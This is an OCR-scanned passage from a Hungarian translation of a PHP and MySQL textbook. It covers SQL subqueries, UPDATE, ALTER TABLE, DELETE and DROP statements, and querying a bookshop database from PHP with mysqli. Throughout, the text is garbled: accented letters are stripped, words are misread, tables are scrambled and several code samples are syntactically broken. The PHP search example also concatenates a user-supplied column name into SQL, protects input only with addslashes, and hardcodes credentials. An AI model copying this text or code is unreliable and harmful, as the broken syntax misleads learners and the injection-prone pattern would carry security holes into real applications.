Ez a funkci igen hasznos pldul akkor, amikor egy vsrl webes termkkatalgust bngsz, s oldalanknt tz rucikket szeremnk megjelenteni a szmra. Jegyezzk meg azonban, hogy a LIMIT nem rsze az ANSI SQL-nek! MySQL kiterjesz ts, gy hasznlata esetn SQL kdunk elveszti kompatibilitst az egyb relcis adatbzis-kezel rendszerek tbbsgveL

Egymsba gyazott lekrdezsek hasznlata


Az egymsba gyazott lekrdezs (subquery)- mint magyar megnevezse hen jelzi- msik lekrdezsbe gyazott lekrdezs. Br az egymsba gyazott lekrdezsek funkcijt gondosan kezelt sszekapcsolsokkal s ideiglenes tblkkal is el lehet rni, az egymsba gyazott lekrdezsek sok esetben knnyebben olvashatk s rhatk.

Alapszint egymsba gyazott lekrdezsek


Az egymsba gyazott lekrdezsek leggyakoribb hasznlata az, amikor az egyik lekrdezs eredmnyt egy msikval hason ltjuk ssze. Ha pldul azt a megrendelst szeretnnk megtallni, amelynek rendelsi rtke rnind kzl a legmagasabb volt,
a

kvetkez lekrdezssei jutharnnk el clunkhoz:


asszeg

SELECT vasarlaid,

FROM megrendelesek WHERE asszeg


=

(SELECT

MAX(asszeg)

FROM megrendelesek);

Ez a lekrdezs az albbi eredmnyt hozza:


+------------+--------+

l vasarlaid l 2

l l

asszeg

+------------+--------+

74.98

+------------+--------+

Ebben az esetben az egymsba gyazott lekrdezs egyetlen rtket ad vissza (a maximlis rendelsi sszeget), amit aztn a kls lekrdezs sszehasonltsban hasznlunk fel. Kivl pld:ija ez az egymsba gyazott lekrdezsek alkalmazsnak, mivel ezt a konkrt lekrdezst ANSI SQL sszekapcsolsok hasznlarval nem lehet elegnsan reproduklni. Ugyanezt az eredmnyt adja azonban az albbi sszekapcsolsos lekrdezs is:
SELECT vasarlaid, asszeg FROM megrendelesek ORDER BY asszeg DESC
LIMIT

l;

176

10. fejezer

Mivel ez a lekrdezs a LIMIT kulcsszr hasznlja, nem kompatibilis az RDBMS-ek rbbsgvel, de MySQL-ben az egy msba gyazorr lekrdezses vltozarnl hatkonyabban hajtdik vgre. Az egyik legfbb oka annak, hogy MySQL-ben sokig nem hasznlharrunk egymsba gyazorr lekrdezseker, az volt, hogy kevs olyan dolog van, amir nem lehet.nlklk megvalsrani. Technikailag ltrehozharunk egyerlen, szablyos ANSI SQL lekrdezst, amely ugyanazt eredmnyezi, m egy kevsb hatkony, MAX-CONCAT nev rrkkre pl. Az egymsba gyazorr lekrdezsek rtkeit minden szablyos sszehasonlr mveleri jellel hasznlhatjuk. Nhny kln leges mveleri jel is lrezik az egymsba gyazorr lekrdezsekhez, ezeker a mosr kvetkez rszben muraguk be.

Egymsba gyazott lekrdezsek s mveleti jelek


t klnleges mveleri jel hasznlhat az egymsba gyazorr lekrdezsekhez. Ngy kzlk ltalnos egymsba gyazorr lekrdezsekhez val, az egyik (EXISTS) pedig kizrlag korrellt egymsba gyazorr lekrdezseknl hasznlhat. Ez utbbi val a kvetkez rszben foglalkozunk majd. Az ltalnos egymsba gyazorr lekrdezsekhez hasznlhat ngy mveleri jelet a 10.4 tblzat tartalmazza.
10.4 tblzat: Egymsba gyazott Iekrdezsek mveleti jelei Nv Pldaszintaktika SELECT cl FROM tl WHERE cl > ANY (SELECT cl FROM t2); SELECT cl FROM tl WHERE cl IN (SELECT cl from t2); SELECT cl FROM tl WHERE cl > SOME ALL (SELECT cl FROM t2); Lers

ANY
IN SOME

Visszarrsi rtke akkor igaz, ha az sszehasonlts az egymsba gyazorr lekrdezsben lv brmely sorra igaz. Az ANY-vel egyenrtk. Az ANY aliasa; bizonyos esetekben ez jobban hangzik az - ango lul rt - emberi flnek. Visszarrsi rtke akkor igaz, ha az sszehasonlts az egymsba gyazorr lekrdezsben lv minden sorra igaz.

SELECT cl FROM tl WHERE cl > ALL (SELECT cl from t2);

Az IN kivrelvel a fenti mveleri jelek csak sszehasonlr opertor urn jelenhernek meg. Az IN-ben gymond mr benne van az sszehasonlr opertora (=).

Korrellt egymsba gyazott lekrdezsek


Korrellt egymsba gyazorr lekrdezsekben kicsir sszeterrebbek a dolgok. Ezeknl a kls lekrdezs elemeir felhasznlhar juk a bels lekrdezsben. Pldul:
SELECT isbn, FROM konyvek WHERE NOT EXISTS (SELECT * FROM rendelesi tetelek WHERE rendelesl tetelek.isbn=konyvek.isbn);
eim

Ez a lekrdezs egyszerre pldzza a korrellt egymsba gyazott lekrdezsek s az egymsba gyazorr lekrdezsek utols klnleges mveleri jeinek, az EXI STS-nek a hasznlatr. Azokar a knyveker adja vissza, amiker mg soha nem rendeltek meg. (Ez ugyanaz az informci, amihez korbban bal sszekapcsols hasznlarval jurorrunk.) Figyeljk meg, hogy a bels lekrdezs csak a FROM listban tartalmazza a rendelesi_tetelek tblt, de a konyvek. isbn oszlopra hivatkozik! Ms szavakkal ezt azt jelenti, hogy a bels lekrdezs a klsben lv adatra hivatkozik. Ez egybknt a korrellt egymsba gyazorr lekrdezs defincija: olyan bels sorokar keresnk, amelyek megegyeznek (vagy - mint jelen esetben - nem egyeznek meg) a kls sorokkal. Az EXISTS opertor visszatrsi rtke akkor igaz, ha vannak egyez sorok az egymsba gyazorr lekrdezsben. Ebbl kvetkezik, hogy a NOT EXISTS visszatrsi rtke pedig akkor igaz, ha nincsenek egyez sorok az egymsba gyazorr lekr dezsben.

Soros egymsba gyazott lekrdezsek


Az eddig ltott, egymsba gyazorr lekrdezsek egyetlen rtket adtak vissza, br sok esetben ez az rtk true vagy
fal se

volt (gy volt ez az elz, az EXI STS mveleri jelet hasznl pldban is). A soros egymsba gyazott lekrde

zsek (row subquery) reljes sort adnak vissza, amit azutn sszehasonltharunk a kls lekrdezsben szerepl ms teljes sorokkal. Ezt a mdszert jellemzen arra hasznljuk, hogy olyan sorokat keressnk valamely rblban, amelyek egy msik-

Munkavgzs MySQL adatbzisunkkal

177

ban is megtallhatk. A knyves adatbzisban nem tudunk erre j pldt mutatni, de az ltalnos szintaktika az albbihoz hasonl:
SELECT cl, c2, c3 FROM tl WHERE (cl, c2, c3) IN (SELECT cl, c2, c3 FROM t2);

10

Egymsba gyazott lekrdezs hasznlata ideiglenes tblaknt


Egymsba gyazott lekrdezst hasznlhatunk egy kls lekrdezs FROM mellkgban. Ezzel a mdszerrel hatkonyan krdezhetjk le egy egymsba gyazott lekrdezs kimenett, gy, mintha ideiglenes tblaknt kezelnnk azt. Legegyszerbb formjban ez valahogy gy nz ki:
SELECT * (SELECT FROM vasarloid, nev FROM vasarlok WHERE varos='Box Hill')

AS box_hill_customers;

Lthatjuk, hogy az egymsba gyazott lekrdezs itt a FROM mellkgba kerlt. Rgtn az egymsba gyazott lekrdezs zr zrjele utn aliast kell adnunk az egymsba gyazott lekrdezs eredmnynek. Ezt kveten a kls lekrdezsben ugyangy kezdhetjk, mint brmilyen ms tblt.

Adatbzisban lv rekordok frisstse


Tl azon, hogy adatokat keresnk vissza az adatbzisokbl, az is gyakran elfordul, hogy mdostani szeretnnk azokat. Meg akarjuk pldul emelni az adatbzisban szerepl knyvek rt. Az UPDATE utasts ad erre lehetsget. Az UPDATE utasts ltalnos formja a kvetkez:
UPDATE [LOW_PRIORITY] [IGNORE] tabla neve SET oszlopl=kifejezesl,oszlop2=kifejezes2,... [WHERE feltetelJ [ORDER BY rendezesi_feltetel] [LIMIT szam]

A dolog lnyege, hogy a t abla_neve tblt frisstjk gy, hogy a megnevezett oszlopokhoz nem konkrt rtket, hanem mveletet runk. A mvelet elvgzsnek eredmnye kerl a mezbe rtkknt (lsd lejjebb a pldt!). WHERE mellkg hasznlatval adott sorokra korltozhatjuk az UPDATE utasts hatst, LIMIT mellkggal pedig az rintett sorok szmt korltozhatjuk le; ha pldul csak az els tz sort kvnjuk frissteni, elszr is valamilyen sorrendbe kell rakni ket. A LOW_
PRIORITY s az IGNORE, amennyiben megadjuk ket, ugyangy mkdnek, mint az INSERT utasts esetn.

Nzznk nhny pldt! Ha 10 szzalkkal szeretnnk emelni minden knyv rt, akkor WHERE mellkg nlkl hasznl hatjuk az UPDATE utastst:
UPDATE konyvek SET ar
=

ar*l.l;

Ha viszont csak egyetlen sort szeretnnk mdostani, pldul egy vsrl lakcmt frisstennk, a kvetkezkppen tehetjk meg:
UPDATE vasarlok SET lakeim
=

'250 lsens Road'


=

WHERE vasarloid

4;

Tblk megvltoztatsa ltrehozsuk utn


A sorok frisstsn tlmenen megeshet, hogy adatbzisunk tblinak struktrjt kell mdostanunk. Erre az igen rugalmas
ALTER TAB LE utastst hasznlhatj uk. Ennek ltalnos formja a kvetkez: ALTER TABLE [IGNORE] tabla_neve valtoztatas

[,

valtoztatas

rdemes megjegyezni, hogy ANSI SQL-ben ALTER TABLE utastsonknt csak egy mdostst hajthatunk vgre, de a MySQL tetszleges szm vltoztatst engedlyez. Brmelyik mdostsi mellkgat hasznlhatjuk (egyszerre tbbet is), hogy klnbz szempontok szerint mdostsuk a tblt. Amennyiben megadjuk az IGNORE mellkgat, s olyan mdostst prblunk meg vgrehajtani, amely dupliklt elsdleges kulcsokat eredmnyez, akkor az els bekerl a mdostott tblzatba, s a tbbi tldik. Ha nem adjuk meg (ez az alaprtel mezett md), akkor a mdosts nem kvetkezik be, s a tbla visszatr a mdostsi ksrlet eltti llapotba. Az ezzel az utastssal vgrehajthat, klnbz tpus mdostsokat a 10.5 tblzatban lthatjuk.

178

10. fejezet

10.5 tblzat: Vltoztatsi lehetsgek az ALTER TABLE utastssal

10

Szintaktika
ADD [COLUMN] oszlop_leiras [FIRST

Lers"
AFTER oszlop ]

j oszlopot szr be a megadott helyre (ha nincs hely meghatrozva, akkor mint a CREATE utasts esetben- a nevet s tpust kell megadnunk.

az

oszlop a tbla vgre kerl). Fontos, hogy az oszlop_leiras-nl- ppgy, Egy vagy tbb j oszlopot szr be a tbla vghez. Indexet ad a tbla megadott oszlophoz vagy oszlopaihoz. A megadott oszlopot vagy oszlopokat a tbla elsdleges kulcsv teszi. A CONSTRAl NT utasts kls kulcsot hasznl tblkhoz val. Tovbbi rsz letekrt lsd a Halad MySQL-programozs cm 13. fejezetet! Egyedi indexet ad a tbla meghatrozott oszlophoz vagy oszlopaihoz. A CONSTRAINT jells kls kulcsokat hasznl InnoDB tblkhoz val. To vbbi rszletekrt lsd a 13. fejezetet! Kls kulcsot ad InnoDB tblhoz. Tovbbi rszletekrt lsd a 13. fejezetet!

ADD [COLUMN] (oszlop_leiras, oszlop_leiras, ...) ADD INDEX [index] (oszlop, ... ) ADD [CONSTRAINT [szimbolum]] PRIMARY KEY (oszlop, ... ) ADD UNIQUE [CONSTRAINT

[szimbolum]] index] (oszlop, ... ) ADD [CONSTRAINT [szimbolum]] FOREIGN KEY oszlop, ...) definicioja] [index] (index [hivatkozas

ALTER [COLUMN] oszlop {SET DEFAULT ertek l DROP DEFAULT) CHANGE [COLUMN] oszlop uj oszlop leiras MODIFY DROP [COLUMN] oszlop_leiras

Alaprtelmezett rtket ad egy adott oszlopnak, vagy eltvoltja azt. gy mdostja az oszlop ot, hogy az a megadott lerst kapja. Jegyezzk
-

meg, hogy ez a szintaktika alkalmas az oszlopnevek megvltoztatsra, mivel az oszlop _leiras tartalmazza az oszlopneved A CHANGE-hez hasonl. Oszloptpusok, nem pedig oszlopnevek megvltozta tsra alkalmas. Trli a megnevezett oszlopot. Trli az elsdleges kulcsot (de az oszlopot nem). Trli a megnevezett indexet. Trli a kls kulcsot (de az oszlopot nem). Kikapcsolja az indexfrisstst. Bekapcsolja az indexfrisstst.

[COLUMN] oszlop

DROP PRIMARY KEY DROP INDEX index DROP FOREIGN KEY kulcs DISABLE KEYS ENABLE KEYS RENAME [AS] uj tabla_nev

tnevezi a tblt. jra ltrehozza a tblt gy, hogy annak sorai adott oszlop szerint vannak rendezve. (Figyelem: ha elkezdjk mdostani a tblt, a sorok nem tartjk a korbbi rendezst!)

ORDER BY oszlop_nev

CONVERT TO CHARACTER SET cs COLLATE c [DEFAULT] COLLATE c DISCARD TABLESPACE IMPORT TABLESPACE tabla tulajdonsaga1 CHARACTER SET cs

A meghatrozott karakterkszletre (character set- cs) s egybevetsre (collation) alaktja az sszes, szveg alap oszlopot. Belltja az alaprtelmezerr karakterkszletet s egybevetst. Trli egy InnoDB tbla mgtres tblatrfjljt. (Az InnoDB-rl tovbbi in formcirt lsd a 13. fejezetet!) jra ltrehozza egy InnoDB tbla mgttes tblatrfjljt. (Az InnoDB-rl tovbbi informcirt lsd a 13. fejezetet!) jra bellthatjuk a tbla tulajdonsgait. A CREATE TABLE utastssal meg egyez szintaktikt hasznl.

Nzznk meg nhnyat az ALTER TABLE utasts gyakoribb felhasznlsi lehetsgei kzl! Knnyen elfordulhat, hogy egy id utn rjvnk: egy adott oszlop nem "elg nagy" az ltala troland adatokhoz. Avasarlok tblban pldul korbban 50 karakter hossz nevek trolst engedlyeztk. Az adatok begyjtse utn sz revesszk, hogy egyes nevek tl hosszak, gy csonkolva letrek. gy segthetnk ezen a problmn, ha mdostjuk az oszlop adattpust, hogy 70 karakter hossz legyen:
ALTER TABLE vasarlok MODIFY nev CHAR(70) NOT NULL;

Munkavgzs MySQL adatbzisunkkal

179

Szintn gyakran elfordul, hogy oszlopot kell a tblzathoz adnunk. Kpzeljk el, hogy egy j, helyi rtkestsi adt vezet nek be, amit a Book-O-Ramnak hozz kell adni a rendels vgsszeghez, de kln kell nyilvntartania! A kvetkezkppen adhatjuk az ado oszlopot a megrendelesek tblhoz:
ALTER TABLE megrendelesek ADD ado FLOAT(6,2) AFTER osszeg;

10

Ugyangy megeshet az is, hogy feleslegess vlik egy oszlop. A kvetkezkppen trlhetjk:
ALTER TABLE megrendelesek DROP ado;

Rekordok trlse adatbzisbl


Az adatbzisbl sorokat trlni egyszer dolog. A DELETE utastssal tehetjk meg, amelynek ltalnos alakja a kvetkez:
DELETE [W HERE [LOW_PRIORITY] felte tel] [QUICK] [IGNORE] FROM tabla

[ORDER BY oszlopok_rendezese] [LIMIT szam]

Ha csak ezt rjuk: DELETE FROM tabla; a tbla minden sora trldik, gyhogy csak vatosan bnjunk egy ilyen utasts sal! ltalban csak adott sorokat kvnunk trlni, ezeket a W HERE mellkgban hatrozhatjuk meg. Pldnknl maradva, ha valamelyik knyv mr nem kaphat, vagy valamelyik vsrl mr hossz ideje nem rendelt semmit sem, s szetetnnk egy kicsit rendet rakni az adatbzisban:
DELETE FROM vasarlok WHERE vasarloid=S;

A LIMIT mellkgban korltozhatjuk a tnylegesen trlend sorok maximlis szmt. Az ORDER BY t jellemzen
-

a LIMIT sszefggsben hasznljuk. A LOW_PRIORITY s az IGNORE pontosan gy mkdik, mint a korbban ltott utastsoknl. A QUICK gyorsabb m veletet eredmnyezhet MyiSAM tblk esetben.

Tblk trlse
Esetenknt egy egsz tblrl szecetnnk megszabadulni. A DROP TABLE utastssal rhetjk ezt el. A folyamat nagyon egy szer, az utasts pedig a kvetkezkppen nz ki:
DROP TABLE tabla;

Az utasts a tbla minden sort s magt a tblt is trli, ezrt fokozott gondossggal jrjunk el hasznlata esetn!

Teljes adatbzis trlse


Akr tovbb is lphetnk, s egy teljes adarbzist megszntethetnk a DROP DATABASE utastssal, amely a kvetkezkp pen nz ki: DROP DATABASE adatbazis; Ez minden sort, minden tblt, minden indexet s magt rakor nagyon krltekinten jrjunk el!
az

adarbzist is trli, gy mr mondanunk sem kell, hogy hasznla

Tovbbi olvasnival
Fejezetnkben a MySQL adatbzisokkal folytatott munka sorn nap mint nap hasznlt SQL utasrsokat tekintettk t. A kvetkez kt fejezerbl megtudhatjuk, hogyan kapcsoljuk ssze a MySQL-t s a PHP-r gy, hogy internetrl hozzfrjnk adarbzisainkhoz. Egyes halad MySQL-es technikkat is megismerhetnk majd. Ha szeretnnk tbbet rudni
az

SQL-rl- s egy kis knnyed szrakozsra vgyunk-, brmikor fellapozhatjuk a http:/ l

www.ansi.org/ oldalon elrhet ANSI SQL szabvnyt. Az ANSI SQL MySQL-fle kibvtsrl a MySQL oldaln (htcp:/ /www.mysql.com) tjkozdhatunk.

Hogyan tovbb
A MySQL adatbzis elrse a webrl PHP-vel cm ll. fejezetben ttekintjtik, hogyan teherjk a Book-O-Rama adarbzist internerrl elrhetv.

ll MySQL adatbzis elrse


a webrl PHP vel
...

Amikor a korbbiakban PHP-vel dolgoztunk, egyszer fjlokban troltuk az adatokat, illetve ezekbl az llomnyokbl ke restk vissza azokat. Az Adatok trolsa s lekrse cm 2. fejezetben, ahol dolgoztunk mr ilyen fjllal, megemltettk, hogy a relcis adatbzisrendszerek webes alkalmazs esetn knnyebb, biztonsgosabb s hatkonyabb reszik a trolsi s visz szakeressi feladaraink jelents rszr. Mosr, hogy MySQL-ben dolgozva mr ltrehoztuk adarbzisunkat, kszen llunk arra, hogy webes fellettel ( weboldallal) kssk ssze. Ebben a fejezeeben bemutatjuk, hogyan rhetjk el a Book-O-Rama adarbzist PHP segtsgvel a webrl. Megcanuljuk, ho gyan olvassunk adatokat adatbzisbl, s hogyan rjunk bele, illetve hogyan szrjk ki a potencilisan problms adatok bevitelt. A fejezetben az albbi fbb tmakrkkel foglalkozunk: Hogyan mkdnek a webes adatbzis-archicektrk Adatbzis lekrdezse a webrl egyszer lpsekkel Kapcsolat belltsa Informciszerzs az elrhet adatbzisokrl A hasznlni kvnt adatbzis kivlasztsa Az adarbzis lekrdezse A lekrdezs eredmnyeinek lekrse Kapcsolat boncsa az adatbzissal j informci felvitele az adatbzisba Elfordtort utastsok hasznlata Egyb PHP adacbzis-illesztsek hasznlata lcalnos adatbzis-illeszts hasznlata: PEAR MDB2

Hogyan mkdnek a webes adatbzisarchitektrk?


A Webes adatbzis megtervezse cm 8. fejezeeben vzoltuk a webes adatbzis-architektrk mkdsc. Emlkeztetskppen fussuk r mg egyszer az ort emltert lpseker: l. A felhasznl bngszje HTTP krst intz egy adott weboldalhoz. Pldul a felhasznl a Book-O-Rama ol daln lv rlap segtsgvel rkeres a Michael Morgan ltal rt sszes knyvre. A keressi eredmnyek oldal neve eredmenyek. php. 2. A webes kiszolgl megkapja az eredmenyek. php-re vonatkoz krst, visszakeresi a fjlt, majd feldolgozs cljbl tadja a PHP morornak. 3. A PHP motor elkezdi vizsglni a kdot, amely az adarbzishoz csarlakozsra s a lekrdezs vgrehajrsra (a knyvek keressre) irnyul parancsot tartalmaz. A PHP megnyitja a kapcsolacor a MySQL kiszolglhoz, s elkldi a megfe lel lekrdezse. 4. A MySQL kiszolgl megkapja az adatbzis-lekrdezse, feldolgozza, s visszakldi az eredmnyeker - a knyvek lis r;ijt- a PHP motornak. 5. A PHP moror befejezi a kd furrarsc, ami ltalban a lekrdezs eredmnyeinek HTML-beli formzst is magban foglalja. Ezt kveten az eredmnyl kaport HTML-r visszakldi a webes kiszolglnak. 6. A webes kiszolgl visszaadja a HTML-t a bngsznek, ahol a felhasznl lthatja a kre knyvek list;ijt. Meglv MySQL adatbzis bireokban megrhatjuk az elz lpseker vgnhajt PHP kdot. Kezdjk a keressi rlappal l Ezen egyszer HTML rlap kdjr a 11.1 pldakd tartalmazza.

182

ll. fejezet

11.1 pldakd: kereses. html-A Book-O-Rama adatbzisnak keressi oldala


<html> <head> <title>Keress a Book-O-Rama katalgusban</title> </head> <body> <hl> Keress a Book-O-Rama katalgusban</hl>

ll

<form action="eredmenyek.php" method="post"> Vlassza ki a keress tpust!:<br /> <select name="keresesi_tipus"> <option value="szerzo">Szerz6</option> <option value="cim">Cm</option> <option value="isbn">ISBN</option> </select> <br /> rja be a keressi kifejezst' :<br /> <input name="keresesi kfejezes" type=""text" size="40"/> <br /> <input type="submit" name="kuldes" value="Keress"/> </form> </body> </html>

Ez a HTML rlap viszonylag magtl rtetd. A HTML kd kimenere a 11.1 brn lthat.

Keress a Book-O-Rama katalgusban


\'........ ...

;.,;,.el.!!!.-----

-----------J

11.1 bra: Teljesen ltalnos keressi rlap, ami cm, szerz s ISBN-kd szerinti keresst tesz lehetv.

A"Keress" gombra kartintskor meghvott kd az eredmenyek. php fjlban tallhat. Ezt a kdot a 11.2 pldakd tartal mazza. A fejezet sorn azt fogjuk megtrgyalni, hogy mir csinl, s hogyan mkdik
ez

a kd.

11.2 pldakd: eredmenyek. php-Ez a kd keresi vissza a MySQL adatbzisbl a keressi eredmnyeket, majdJormzza azo

kat a megjelentshez
<html> <head> <title>Book-0-Rama keressi eredmnyek</title> </head> <body> <hl>Book-0-Rama keressi eredmnyek</hl> <?php

ll rvid vltoznevek ltrehozsa


$keresesi tipus=$ POST['keresesi tipus'); $keresesi kifejezes=trim($_POST['keresesi kifejezes'));

if (1$keresesi tipus

l l

!$keresesi kfejezes) adja meg ezeket!';

echo 'Nem adta meg a keressi feltteleket. Krjk, exit;

MySQL adatbzis elrse a webrl PHP-vel

183

if (!get_magic_quotes_gpc()) { $keresesi_tipus = addslashes($keresesi_tipus); $keresesi kifejezes addslashes($keresesi kifejezes);

@ $adatbazis = new mysqli('localhost',


if (mysqli_connect_errno()) echo 'Hiba: exit;

'beokorama',

'bookorama123',

'konyvek');

ll
prblkezzon ksbb.';

Nem sikerlt kapcsoldni az adatbzishoz. Krjk,

$lekerdezes

"SELECT

FROM konyvek WHERE ".$keresesi_tipus

." LIKE '%".$keresesi_kifejezes."%'"; $talalat = $adatbazis->query($lekerdezes);

$talalatok_szama

$talalat->num_rows;

echo "<p>A keressi feltteleknek megfelel knyvek szma:

".$talalatok_szama."</p>";

for ($i=O;

$i <$talalatok_szama;

$i++)

$sor = $talalat->fetch_assoc(); echo "<p><strong>".($i+l).". Cim: ";

echo htmlspecialchars(stripslashes($sor['cim'])); echo "</strong><br />Szerz: ";

echo stripslashes($sor['szerzo']); echo "<br />ISBN: ";

echo stripslashes($sor['isbn']); echo "<br />r: ";

echo stripslashes($sor['ar']); echo "</p>";

$talalat->free(); $adatbazis->close();

?>

</body> </html>

Figyeljk meg, hogy a kd megengedi a felhasznlnak a MySQL dzskerkarakterek, a % s az_ {alulvons) hasznlatr. Ez hasznos lehet a felhasznlnak, de vdkarakterrel kell elltni ezeket a klnleges karaktereket, hogy ne okozhassanak prebl mt alkalmazsunknak. A 11.2 bra a kd hasznlatval vgrehajtott keress eredmnyt illusztrlja.

l'!
A""'-".......,.-.wot6C..-..I LC.:Jal- s-t6Maot158:i0-G"l-l169T-S A<; )..l 99'

Book-0-Rama keressi eredmnyek

11.2 bra: Javval foglalkoz knyvek keresse az adatbzisban az eredmenyek.p hp kddal;

a bngszablak a keressi eredmnyt mutaga.

184

ll. fejezer

Adatbzis lekrdezse a webrl


Minden kdban,amit arra hasznlunk,hogy a webrl rjnk el egy adatbzist,az albbi alaplpseket kell kvetnnk:
l. A felhasznltl rkez adatok ellenrzse s szrse. 2. Kapcsolat ltrehozsa a megfelel adatbzishoz. 3. Az adarbzis lekrdezse. 4. Az eredmnyek visszakeresse. 5. Az eredmnyek megjelenrse a felhasznlnak.

Ezeket a lpseket kvettk az eredmenyek. php kdban is,nzzk meg most ezeket egyenknt!

ll

A felhasznltl rkez adatok ellenrzse s szrse


A kd azzal kezddik,hogy eltvoltjuk a felhasznl ltal a keressi kifejezs el vagy utn vletlenl bert fehrkz karakte reket. Ezt gy rhetjk el,hogy a trim() fggvnyt a rvidebb nevet adunk neki:
$keresesi_kifejezes=trim($_POST['keresesi klfeJezes')); $_POST [ 'keresesi_kifejezes' l

rtkre alkalmazzuk,amikor

A kvetkez lps annak ellenrzse,hogy a felhasznl adott-e meg keressi kifejezst,s kivlasztotta-e a keress pust. Figyeljk meg. hogy a keressi kifejezs megltnek ellenrzse az utn trtnik,hogy eltvoltjuk a $ keresesi_kifejezes szleirl a fehrkz karaktereket! Ha fordtott sorrendben szerepelne ez a kt kdsor, akkor elfordulhatna olyan eset, hogy a felhasznl keressi kifejezse nem res,gy nem hoz ltre hibazenetet sem; viszont csupa fehrkz karakterbl ll, amelye ket a trim ( ) kivtel nlkl eltvolt:
if (! $keresesi_tipus echo exit; "

l l

! $keresesi kifejezes)

{
Krjk, adja meg ezeket!";

Nem adta meg a keressi feltteleket.

Ellenrizzk a $keresesi_tipus vlrozt,noha az jelen esetben egy SELECT HTML utasrsbl szrmazik! Krdez hetnnk,mirt rdemes bajldni egy olyan adat ellenrzsvel, amelyet be kell rni. Nem szabad elfelejteni, hogy tbb fellet is kapcsoldhat adarbzisunkhoz. Az Amazonnak pldul szmos lenyvllalata van,amely rnind az anyacg keressi fellett hasznlja. Azrt is clszer szrni az adatokat,mert a klnbz belpsi pontokrl rkez felhasznlk miatt biztonsgi problmk keletkezhetnek. Arnikor felhasznlk ltal bevitt adatokat terveznk felhasznlni,minden esetben ki kell szrni bellk a vezrl karaktere ket. Mint emlkezhetnk,a
stripslashes()

Karakterlncok kezelse s regulris kifejezsek cm 4. fejezetben olvashattunk az addslashes(),

s get_magic_ quotes_gp c() fggvnyrL Brmilyen felhasznli inputot kldnk olyan adatbzisba,

mint a MySQL,vdkaraktercel kell elltni az adatokat. Ebben az esetben a get_magic_quotes_gpc ( ) fggvny rtkt ellenrizzk. Ebbl megrudjuk,hogy az idzjelek hoz zadsa automatikusan trtnik-e. Ha nem,az
if (!get_maglc quotes gpc()) addslashes ()

fggvnyekkel emelhetjk ki az adatokat vdkarakterrel:

{
tlpus);

$keresesi tlpus = addslashes($keresesi $keresesl klfejezes


=

addslashes($keresesl klfejezes);

A stripslashes() fggvnyt az adatbzisbl rkez adatokon is hasznljuk. Ha a magic quotes funkci be van kapcsol va,az adatok perjeleket fognak tartalmazni, amikor visszajnnek az adatbzisbl. gy el kell tvoltani azokat. A pldban a htmlspecialchars ( ) fggvnnyel kdoljuk a HMTL-ben klnleges jelentssei br karaktereket. A je lenlegi tesztadatok nem tartalmaznak s(&),kisebb,rnint(<),nagyobb,mint (>) vagy dupla idzjeleket("),m szmtalan olyan knyvcm ltezik,amelyben s jel tallhat.(Ez elssorban angol nyelvterleten jellemz, magyar cmekre kevsb igaz.) A fggvny hasznlatval ksbbi hibkat elzhetnk meg.

Kapcsolat ltrehozsa
A MySQL-hez kapcsoldsta hasznlhat PHP knyvtr neve mysqli(az i az improved,vagyis.,tovbbfejlesztett" szra utal). Arnikor mysqli knyvrrat hasznlunk PHP-ben,objektumorientlt s procedurlis szintaktikt egyarnt alkalmazhatunk. A kdban az albbi sorral kapcsoldunk a MySQL kiszolglhoz:
@ $adatbazis
=

new mysqli ('localhost',

'boakorama',

'bookoramal23',

'konyvek');

E sor ltrehozza a mysqli osztly egy pldnyt,s boakorama felhasznlnvvel s bookoramal 23 jelszval kapcsola tot ltest a
localhost

nev szmtgphez. A kapcsolat a konyvek nev adatbzis hasznlatra jn ltre.

MySQL adatbzis elrse a webrl PHP-vel

185

Ha az objektumorientlt megkzeltst kvetjk, az objektum metdusait meghvva rhetjk el az adatbzist. Ha jobban kedveljk a procedurlis megkzeltst, a mysqli ennek hasznlatt is megengedi. Ebben az esetben az albbi kddal kapcsold hatunk ugyanehhez az adatbzishoz:
@ $adatbazis
=

mysqli connect('localhost',

'boakorama',

'bookoramal 23',

'konyvek');

Ez a fggvny objektum helyett erforrst ad vissza. Ez jelkpezi az adatbzishoz val csatlakozst, s ha ezt a procedurlis megkzeltst kvetjk, ezt az erforrs-vltozt kell tadnunk minden ms mysqli fggvnynek. Ez igen hasonl ahhoz, ahogy a fjlkezel fggvnyek, pldul az fopen () mkdik. A mysqli fggvnyek tbbsge objektumorientlt fellettel s procedurlis fellettel is rendelkezik. ltalnossgban az kz
tk a klnbsg, hogy a procedurlis verzij fggvnynevek mysql_-lel kezddnek, s megkvetelik a mysql_connect ()

fggvnybl megkapott erforrs-vltoz tadst. Az adatbzis-kapcsaldsok kivtelt kpeznek e szably all, mivel a mysqli objektum konstruktora ltal is ltrehozhatk. A kapcsoldsi kisrlet eredmnyt rdemes ellenrizni, mert a kd tbbi rsze nem fog megfelel adatbzis-kapcsolat nlkl mkdni. A kvetkez kddal hajthatjuk vgre ezt
1f (mysqli connect_errno()) echo exit; 'Hiba:
az

ll

ellenrzst:
Krjk, prblkezzon ksbb!';

Nem sikerlt kapcsoldni az adatbzishoz.

(A fenti kd mkdse az objektumorientlt s a procedurlis megkzelts esetn is ugyanaz.) A


errno

mysqli _connect_
az

() fggvny hiba esetn hibakdot, sikeres kapcsolds esetn nullt ad vissza. Figyeljk meg, hogy
az

adatbzishoz

kapcsoldskor a kdsort a hibaelnyom mveleti jellel Ne fele<ljk, hogy


connections
az

(@) kezdjk! Ez lehetv teszi a hibk fjdalommentes kezelst.


egyszer pldban nem alkalmazzuk.)
MaxClients

(Ugyangy kellene eljrni a kivtelekkel is, ezeket azonban ebben

egyidej MySQL kapcsolatok szma korltozott! A lehetsges legnagyobb rtket a max_ Apache paramternek az

MySQL paramter hatrozza meg. Ennek s a hozz kapcsold

a clja, hogy utastsk a szervert az j kapcsaldsok elutastsra, megakadlyozva azt, hogy forgalmas idszakokban vagy szaftverproblma esetn tlzott mrtkben vegyk ignybe a gp erforrsait. Mindkt paramter alaprtelmezett rtkt a konfigurcis fjlok szerkesztsvel tudjuk mdostani. Az Apache
MaxClients con nections

paramternek megvltoztatshoz rendszernk pararmtert a my. conf fjlban rjk el.

httpd. conf

llomnyt kell szerkeszteni. A MySQL max_

A hasznlni kvnt adatbzis kivlasztsa


Ne feledjk, hogy amikor parancssori felletrl hasznljuk a MySQL-t, kzlni kell vele, hogy melyik adatbzissal terveznk dolgozni! Egy ilyen paranccsal tehetjk meg ezt:
use konyvek;

